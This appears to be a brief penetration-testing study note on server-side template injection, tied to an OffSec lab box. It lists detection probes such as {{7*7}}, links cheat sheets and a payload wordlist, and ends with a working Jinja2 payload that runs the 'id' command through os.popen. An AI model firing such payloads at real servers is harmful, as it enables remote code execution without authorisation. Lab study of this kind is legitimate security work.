Server-Side Template Injection
https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html
https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
offsec pg - layla
Test initially with simple query entries to the template, analyse the server's response and look for:
- Thrown errors, revealing the vulnerability and potentially the template engine.
- Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
- Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g.,
{{7*7}},${7*7}). - Code Context: Confirm vulnerability by altering input parameters. For instance, changing
greetinginhttp://vulnerable-website.com/?greeting=data.usernameto see if the server's output is dynamic or fixed, like ingreeting=data.username}}helloreturning the username.
{{7*7}}
Use this wordlist to test the template further:
https://github.com/payloadbox/ssti-payloads
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}